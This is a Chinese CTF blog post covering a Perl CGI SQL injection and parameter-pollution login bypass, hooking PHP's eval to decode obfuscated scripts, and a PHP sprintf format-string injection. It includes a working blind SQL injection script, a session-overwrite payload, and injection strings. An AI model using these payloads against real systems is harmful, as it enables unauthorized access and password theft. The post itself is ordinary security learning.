0x00 前言 有半年没更新博客了,这次记录一下最近在ctf中学到的3个知识点,和其中一个详细的思路。
0x00 perl cgi特性 pwnhub最新一期《胖哈勃归来》中,是SECCON 2017 Online CTF
原题SqlSRF
。但是,这次需要用到perl的语言特性来产生另一个解。这里记录一下我的思路和复现过程,很有意思~
1. 原题解法 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 use CGI ;my $q = new CGI; use CGI ::Session ;my $s = CGI::Session->new(undef, $q->cookie('CGISESSID' )||undef, {Directory=>'/tmp' }); $s->expire('+1M' ); require './.htcrypt.pl' ; my $user = $q->param('user' ); print $q->header(-charset=>'UTF-8' , -cookie=> [ $q->cookie(-name=>'CGISESSID' , -value=>$s->id), ($q->param('save' ) eq '1' ? $q->cookie(-name=>'remember' , -value=>&encrypt($user), -expires=>'+1M' ) : undef) ]), $q->start_html(-lang=>'ja' , -encoding=>'UTF-8' , -title=>'SECCON 2017' , -bgcolor=>'black' ); $user = &decrypt($q->cookie('remember' )) if ($user eq '' && $q->cookie('remember' ) ne '' ); my $errmsg = '' ; if ($q->param('login' ) ne '' ) { use DBI ; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB' ); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='" .$q->param('user' )."';" ); $errmsg = '<h2 style="color:red">Login Error!</h2>' ; eval { $sth->execute(); if (my @row = $sth->fetchrow_array) { if ($row[0 ] ne '' && $q->param('pass' ) ne '' && $row[0 ] eq &encrypt($q->param('pass' ))) { $s->param('autheduser' , $q->param('user' )); print "<scr" ."ipt>document.location='./menu.cgi';</script>" ; $errmsg = '' ; } } }; if ($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>' ; } $dbh->disconnect(); } $user = $q->escapeHTML($user); print <<"EOM" ;<!-- The Kusomon by KeigoYAMAZAKI, 2017 --> <div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;" > </div> <div style="position:relative;top:300px;color:white;text-align:center;" > <h1>Login</h1> <form action="?" method="post" >$errmsg <table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;" > <tr><td>Username:</td><td><input type="text" name="user" value="$user" ></td></tr> <tr><td>Password:</td><td><input type="password" name="pass" value="" ></td></tr> <tr><td colspan="2" ><input type="checkbox" name="save" value="1" >Remember Me</td></tr> <tr><td colspan="2" align="right" ><input type="submit" name="login" value="Login" ></td></tr> </table> </form> </div> </body> </html> EOM 1 ;
明显存在注入的关键点:
1 my $sth = $dbh ->prepare("SELECT password FROM users WHERE username='" .$q ->param('user' )."';" );
使用原题解法,可以把用户admin
的密码注入出来,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requestsfrom requests.auth import HTTPBasicAuthimport sysfrom bs4 import BeautifulSoupsession = requests.Session() def test (input) : query = "?user=admin' and " +input+" union select 'f36a76e0b977af58f3006d944e26583a' -- &pass=4f5fa294659094aff2305ab3fee18c0a&login=Login" headers = {"Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "en-US,en;q=0.5" , "User-Agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0" , "CGISESSID" :"4bfb22d4b2510d5c49e3666636e9e84c" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Connection" : "keep-alive" } response = session.get("http://54.222.248.100/cgi-bin/index.cgi" +query, headers=headers) return ("Login Error" in response.text) def brute_force_expr (expr) : md5array = "abcdef0123456789" ch_i=1 ascii_i=0 word = "" while True : found_char=False while (ascii_i<16 ): res = test("substr((" +expr+")," +str(ch_i)+",1)='" +md5array[ascii_i]+"'" ) if (res): word += md5array[ascii_i] print "Found (" ,ch_i,") " ,md5array[ascii_i]," - " ,word found_char = True break ascii_i+=1 if (not found_char): print "No char at index " ,ch_i," .. ending string construction.." break ascii_i = 0 ch_i+=1 return word print brute_force_expr(sys.argv[1 ].replace(" " ,"/**/" ))
跑出的密码的md5值为:63730edfab254f34761c17e89de28086
。学到了新知识,很棒~ 然而,这个md5值时逆向解不出来的,所以需要另一种解法。
2. perl语言特性导致的新解法 后面看Payload很简单,但这里主要详细记录下我的解题思路。我当时有以下3个思路:
SQLite注入:能否多语句执行insert一个admin用户,上传shell?
代码注入: 代码中存在eval {}
,是否可以注入?
HPP(HTTP Parameter Pollution)漏洞篡改Session的值。
于是乎,搭建环境自己试试了~~ 没有学过perl,看了看这篇文章:https://qntm.org/files/perl/perl_cn.html 。写得很好,推荐。 环境配置的步骤大概有:
环境搭建起来后,可以很轻松的验证SQLite注入这条路是行不通的。无法一次执行多条语句。 至于代码注入,网上查到这样一句话:
string eval is dangerous and block eval is “safe”;
因此,就看看perl如何处理两个相同参数的请求了。
1 perl pwnhub.cgi "user=admin' and 0 union select 'f36a76e0b977af58f3006d944e26583a' -- &user=admin&pass=4 f5fa294659094aff2305ab3fee18c0a&login=Login"
出现了奇怪的Database Error!
,看输出的bug日志:param(): usage error. Invalid syntax at pwnhub.cgi line ***.
定位到了这一行:
1 $s ->param('autheduser' , $q ->param('user' ));
于是,多次测试发现,奇数次相同的user=
请求可以正常处理,而偶数次不行。 为了看这个地方的具体问题,我决定再学习下,在ubuntu下面用VScode
调试perl代码。插一句,搞到这里猛然发现pwnhub的题目结束了记错时间了,我还以为有三天。 安装VScode
插件Perl Debug
,并且再安装个perl语言的PadWalker
依赖,即可开心地调试了配置好lanuch.json
后,调试结果如下: 由上面的图,可以发现。当我们输入user=1&user=2&user=3
时,session的值会变为:
1 2 3 4 { autheduser => 1 , 2 => 3 }
如果把2
改成autheduser
,那么会变成啥样呢,调试一下便可以发现: 成功覆盖掉了前面的autheduser
的值~~ 为什么会出现这样的特性,进入session
的param()
函数内部可以看到: my %args = @args
这行代码将传入的参数Array
转成了hash
。根据perl的根据上下文
求值特性,就产生了这样的效果。 因此Payload为:
1 user =admin' and 0 union select '827ccb0eea8a706c4c34a16891f84e7b' -- &user =autheduser&user=admin&pass=12345&login=Login
看了writeup后,发现这篇文章介绍的很详细,学习:https://blog.gerv.net/2014/10/new-class-of-vulnerability-in-perl-web-applications/
0x01 php解密 以前碰到php加密的问题,一般就扔到网站上付费解密了。 参考该文章:https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html 。 记录下好用的解密方式:
var_dump(get_defined_vars());
单步调试
Hook eval~
最感兴趣的当然是Hook方式,写个php扩展,直接Hook底层zend_compile_string
函数。 因此,参考下面的文章,我安装学习了下。php扩展安装3步,好记性不如烂笔头,记录一下:
phpize
编译: ./configure make && make install
在php.ini
配置开启扩展
文章中PHP扩展中的关键点在以下代码:
1 2 3 4 5 6 7 8 9 PHP_MINIT_FUNCTION(evalhook) { if (evalhook_hooked == 0) { evalhook_hooked = 1; orig_compile_string = zend_compile_string; //HOOK `zend_compile_string` zend_compile_string = evalhook_compile_string; } return SUCCESS; }
然后在自定义的evalhook_compile_string
函数中输出参数即可:
1 2 3 4 5 6 7 8 static zend_op_array *evalhook_compile_string(zval * source_string , char * filename TSRMLS_DC) { len = Z_STRLEN_P(source_string ) ; copy = estrndup(Z_STRVAL_P(source_string ) , len); ********************* printf("%s\n\n\n" , copy); ********************* }
将通过phpjiami
网站加密过的 <?php phpinfo(); ?>
代码运行后,可以得到解密结果: 更多php解密学习请看:http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/index.html http://blog.th3s3v3n.xyz/2017/12/12/web/Decrypt_php_VoiceStar_encryption_extension/
0x02 php格式化字符串漏洞 这个在LCTF2017中出现,单纯记录一下知识点~ 分析文章请看:https://paper.seebug.org/386/ Copy关键代码记录:
1 2 3 4 5 6 7 8 <?php $input = addslashes("%1$' and 1=1#" ); $b = sprintf ("AND b='%s'" , $input); ... $sql = sprintf ("SELECT * FROM t WHERE a='%s' $b" , 'admin' ); echo $sql; //result: SELECT * FROM t WHERE a='admin' AND b=' ' and 1 =1
两个关键点:
%\'
会通过%
吃掉反斜杠。
%1$
表示使用第一个参数进行赋值~ 不然PHP会报错。